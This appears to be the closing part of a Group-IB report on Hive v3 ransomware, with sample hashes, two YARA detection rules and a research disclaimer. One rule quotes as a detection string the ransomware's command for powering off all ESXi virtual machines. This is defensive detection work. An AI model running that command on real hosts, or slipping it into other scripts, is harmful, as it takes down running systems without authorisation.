            acecf1f8fc1bde7b57412e3ceb610035ef6f82bb350c22fb9e780dfa7e46e329

            c1ed5916533b122bdbcb20e4a14473639f691b69f9adfc310e2d6589f3da15a7

            c3732c95df41b283317330db117210bf55262d3a8f4ad2d3d2ee40626641d960

            cafdc2624a909f037caeb2fb1fb89072d91ac3f2ba0b90dcfa873e01a6934c9c

            cba0c8e316db8c6abcdb69f03936a803d81299d9ae4c59c77839c37cda752539

            b1bfc90de9dcea999dedf285c3d3d7e1901847d84ec297224a0d82720d0ed501

            be1565961e123f52e54e350e0ca2666f8ffa42fdc46df18dca6f7c0ac2b43d23

            bd9807c6e5c69f21153103703faa8067a9a883124bcfeb6b0f0645158a97d57d

            d0ceb8f5170972fe737ab9cbdd6f3ee472fbe62e244cccc46d137094d33f1afc

            d57f99908a8b4e50a1ace66ed0d84792d2765bed945247160b5d8c874fca492f

            d64f9742539436acba5ff9c4f1c8ca501cad86dfa823828b65418b493c8109ac

            d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33

            da2128b5608ed39f1a4e4568e0751bd9f8cb4e8587f1a262314d13c03a6a8b9e

            dd1e4842111c38d0d24deecd6aeb830d9d90bce19df0ffd839d5cfc7a565c0ae

            de5867fbc85c4f2cd210f60d565c99ab039f0be41c0ec6c7729d795d0ff15ecf

            e6a7d1575ad6be033d4caada4341835175e85f859d304d292ae3968dd97d682d

            e9def82da36450f16c48af3abbba2a31f53c9c2f6fae6cf895fbf10698c04ed2

            ea6ee7a35e964b84c59eba34384ea9dd6aa1e951a2d9424f5991b364a7d685bf

            ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef

            ed55da207686f136205db1226c23add2bba331794de6f2c0b0861681cf344226

            f4a387624049baa6f7400ef71282ce244499be904651ee70ef145c07bee8e151

            f56b69b2ed6fb623f9e112eb9ae52a057cba260b85ef9bb789b5e4f8f7faadfd

            f771389e1e67994756c3dc36278c52996b8798455fbcbb949faff3463a77dc16

            ff93136112316cea3f80218c5354d6e8c12cdfe449c40ab417002fe81dcf1dcb
            Hive v3 для Linux
            12389b8af28307fd09fe080fd89802b4e616ed4c961f464f95fdb4b3f0aaf185

            448e8d71e335cabf5c4e9e8d2d31e6b52f620dbf408d8cc9a6232a81c051441b

            6a0449a0b92dc1b17da219492487de824e86a25284f21e6e3af056fe3f4c4ec0

            713b699c04f21000fca981e698e1046d4595f423bd5741d712fd7e0bc358c771
            Hive v3 для FreeBSD
            bdf3d5f4f1b7c90dfc526340e917da9e188f04238e772049b2a97b4f88f711e3

            cac027eed3a92cd1b24745fa0b182bdc76839edf276a672ab66c311ae61de3fe
            Hive v3 для ESXi
            822d89e7917d41a90f5f65bee75cad31fe13995e43f47ea9ea536862884efc25
            Hive Decryptor v3
            00dc667e31c607838c8fe69494eaa45bcaba1b737973d3842643c22477eab1f1

            0daac12ef83d0c5d893bb0a56ef90bf4e1c4e9938d33502b9780d67c9ad7dfad

            1357e734118202f3277c6e9976f08d53c17d0b083992028117643eb2d465a50b

            13903ef99700ab30e6f13d3579d99acaac3a9730b01720092c4e85f13152588b

            1a798bdc62d9ec900a67c72b57cd8eed2b6b6b78367e93abb08cf91f72e36f0d

            222d210e12e2fe32545af6eadfdbf0eb0638a6d132e5c9821daa04bb5b197b5a

            2f573f7ed5d3ffc47aa0d095d3861030372074b214e2607021236c744cde6614

            34215cad33becc30bf2c994c2b50fd3938d6e91fdeb9dc189eb97cd036f2a223

            46d100b79524a1b3dfa9a98625acc0329b4b948859a397af94a97c394c7d9f74

            4a7df7a500d498342804749f3a8e7c3e8711a1fcc3d8a785579d2b23d2c21686

            61fd23a73f975b2527812d14fd32ae0b929f42be3335f06401b5d324090ec9b9

            72999cded357edf7dd8aed41942a1ea33e96004b8ab0bbc39adf86690405d16f

            7718a4f685d17423d7b8736fb1762fcbca92d2a0918fdd29b4118ac920aef517

            83f4174bf4f0bd2c6d411cf81293ccb62ce69345246938bf28a77f143ac4af40

            9335341e54698e2a33355c0594d622828c1634557b69453b5d856211c4aa461b

            98598eeb0a57f8c2d50a8009f060249fc45b00f564c9411e5255084e59168f73

            9868fd95b89af8a070c45e2533bd9626d9b36f5f10419086bba5f6b337dd79a8

            98a48551e429fadc550cf8454f09c01e233aebf176bd141db57305e0ba2d0d28

            ad1bcde48e755669187c9e170443d95585cb26db1f619c7f9dc57d32974471c1

            c90ea27b7ea59563bb221dc694dd9cbb37994b656f9509d28413c454d0046460

            cc575842398e2fec84efb9de29b230280120709aead807edc807a62072f6194d

            bc04af5bfcd57465d938e33e13974a299062e4732298dc687baa27270a5ba60f

            d5adeef0250358c54e74b012f4f7ad9f7765b2919747116870e54ff3b6340442

            de03a9fcf26d9f446a362de7302e151eb3f4a90544f034a054684cc317c44742

            df7003b2f8d330b16cea1b682edddd1d85e56806a276f432e5f09091b4877a7d

            efccbae3957f57bf31954261d1b13d7e985378e1ff0038cfcc2802b5a94cfa4d

            f172f51cdb08fc31d4cc213aba90a2581f0954f4fc99a3515feead06c3257ca2

            f682a4a38f7eba04b3d87a4b31d8a745f3aa6d04201ab9c3315e6c09fdc75229

            f7ac5830a672c6a4722050919384daaa985870d59bbbd757197de5207099cef5

            fb91cffedd7d555ca0660b992a43367817ed6bb2d202e1e9218346114d0d9bc3

            ff3198e720eb5f3ed07c23cac434698d63e2a08647864a9d539ecb6af7aa3ffa
            YARA rules
            /*
            Hive ransomware
            */
            
            
            rule Hive_v3
            {
                meta:
                    author = "Andrey Zhdanov"
                    company = "Group-IB"
                    family = "ransomware.hive"
                    description = "Hive v3 ransomware Windows/Linux/FreeBSD payload"
                    severity = 10
                    score = 100
            
                strings:
                    $h0 = { B? 03 52 DA 8D [6-12] 69 ?? 00 70 0E 00 [14-20]
                            8D ?? 00 90 01 00 }
                    $h1 = { B? 37 48 60 80 [4-12] 69 ?? 00 F4 0F 00 [2-10]
                            8D ?? 00 0C 00 00 }
                    $h2 = { B? 3E 0A D7 A3 [2-6] C1 E? ( 0F | 2F 4?)
                            69 ?? 00 90 01 00 }
            
                condition:
                    (((uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550)) or
                     (uint32(0) == 0x464C457F)) and
                    (
                        (2 of ($h*))
                    )
            }
            
            
            rule Hive_ESXi_v3
            {
                meta:
                    author = "Andrey Zhdanov"
                    company = "Group-IB"
                    family = "ransomware.hive.esxi"
                    description = "Hive v3 ransomware ESXI payload"
                    severity = 10
                    score = 100
            
                strings:
                    $h0 = { 48 69 ?? B5 B4 1B 01 48 C1 E? 20 69 ?? 00 70 0E 00 29 ?? }
                    $h1 = { 48 69 ?? 25 30 40 00 48 C1 E? 20 69 ?? 00 F4 0F 00 29 ?? }
            
                    $a0 = "\\.(vm|vs)\\w+$\x00" ascii
                    $a1 = "vim-cmd vmsvc/getallvms | grep -o -E '^[0-9]+' | xargs -r -n 1 vim-cmd vmsvc/power.off" ascii
            
                    $b0 = "\x00%s.key.%s\x00" ascii
                    $b1 = "\x00! export %s" ascii
                    $b2 = "\x00+ export %s" ascii
                    $b3 = "HOW_TO_DECRYPT.txt\x00" ascii
                    $b4 = "\x00+notify /etc/motd\x00" ascii
                    $b5 = "\x00+notify %s" ascii
                    $b6 = "\x00+ prenotify %s" ascii
                    $b7 = "\x00Stopping VMs\x00" ascii
            
                condition:
                    (uint32(0) == 0x464C457F) and
                    (
                        (2 of ($h*)) or
                        ((1 of ($a*)) and (2 of ($b*)))
                    )
            }
            1. Материал подготовлен специалистами Group-IB исключительно в исследовательских целях для минимизации риска дальнейшего использования способов и методов совершения противоправных действий и их своевременного пресечения.

            2. Выводы не являются официальной позицией компетентных органов, в том числе правоохранительных. Текст не содержит прямых обвинений в совершении преступлений, иных противоправных действий и носит аналитический и информационный характер.
            Испытай Group-IB Threat Intelligence & Attribution прямо сейчас!
            Оптимизируй стратегию кибербезопасности, исследуй атакующих, атрибутируй атаки с лучшим в своём классе продуктом